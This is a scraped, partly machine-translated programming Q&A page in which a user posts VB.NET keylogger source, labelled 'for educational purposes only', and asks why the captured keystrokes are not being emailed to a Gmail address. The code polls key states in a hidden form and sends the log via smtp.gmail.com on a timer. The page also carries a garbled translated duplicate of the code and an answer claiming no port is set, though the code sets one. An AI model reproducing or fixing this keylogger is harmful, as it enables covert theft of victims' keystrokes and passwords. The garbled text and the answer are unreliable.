Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/vb.net/16.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Vb.net 键盘记录器未发送到我的gmail(仅用于教育目的)_Vb.net_Keylogger - Fatal编程技术网

Vb.net 键盘记录器未发送到我的gmail(仅用于教育目的)

Vb.net 键盘记录器未发送到我的gmail(仅用于教育目的),vb.net,keylogger,Vb.net,Keylogger,我一直在想问题出在哪里,但我找不到 Option Strict On Imports System.Web Imports System.IO Imports System.Net.Mail Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Int32) As Short Private Sub timerKeys_Tick(ByVal sender As System

我一直在想问题出在哪里,但我找不到

Option Strict On Imports System.Web Imports System.IO Imports System.Net.Mail Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Int32) As Short Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick Dim result As Integer Dim key As String Dim i As Integer For i = 2 To 105 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then key = Chr(i) If 1 = 13 Then key = vbNewLine Exit For End If Next i

    If key <> Nothing Then
        If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
            tbLog.Text &= key
        Else
            tbLog.Text &= key.ToLower

        End If
    End If

    If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then
        Me.Show()
    End If
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
    Dim smtpServer As New SmtpClient()
    Dim mail As New MailMessage()
    smtpServer.Credentials = New Net.NetworkCredential("example@gmail.com", "passoword")
    'using gmail
    smtpServer.Port = 587
    smtpServer.Host = "smtp.gmail.com"
    smtpServer.EnableSsl = True
    mail = New MailMessage()
    mail.From = New MailAddress("example@gmail.com")
    mail.To.Add("justinecantado@gmail.com")
    mail.From = New MailAddress("example@gmail.com")
    mail.Body = tbLog.Text
    smtpServer.Send(mail)
End Sub
选项严格限制导入系统。Web Imports System.IO Imports System.Net.Mail公共类Form1私有声明函数GetAsyncKeyState Lib“user32”(ByVal vkey As Int32)作为短私有子timerKeys_勾选(ByVal sender As System.Object,ByVal e As System.EventArgs)处理timerKeys。将Dim result作为整数Dim key作为字符串Dim i作为整数勾选i=2到105 result=0 result=GetAsyncKeyState(i)如果result=-32767,则key=Chr(i)如果1=13,则key=vbNewLine退出,如果下一个i
如果没有,那么
如果My.Computer.Keyboard.ShiftKeyDown或lse My.Computer.Keyboard.CapsLock,则
tbLog.Text&=key
其他的
tbLog.Text&=key.ToLower
如果结束
如果结束
如果My.Computer.Keyboard.CtrlKeyDown和My.Computer.Keyboard.AltKeyDown和Also key=“z”,则
给我看
如果结束
端接头
私有子Timer2_Tick(ByVal发送方作为System.Object,ByVal e作为System.EventArgs)处理Timer2.Tick
Dim smtpServer作为新的SmtpClient()
将邮件设置为新邮件消息()
smtpServer.Credentials=新的Net.NetworkCredential(“example@gmail.com“,”帕索沃德“)
“使用gmail
smtpServer.Port=587
smtpServer.Host=“smtp.gmail.com”
smtpServer.EnableSsl=True
mail=新邮件消息()
mail.From=新邮件地址(“example@gmail.com")
mail.To.Add(“justinecantado@gmail.com")
mail.From=新邮件地址(“example@gmail.com")
mail.Body=tbLog.Text
smtpServer.Send(邮件)
端接头

End Class

某些smtp实现在某些变量超出范围时不起作用。但是我认为您的问题在于您没有指定端口。

awww我希望有人能帮助您!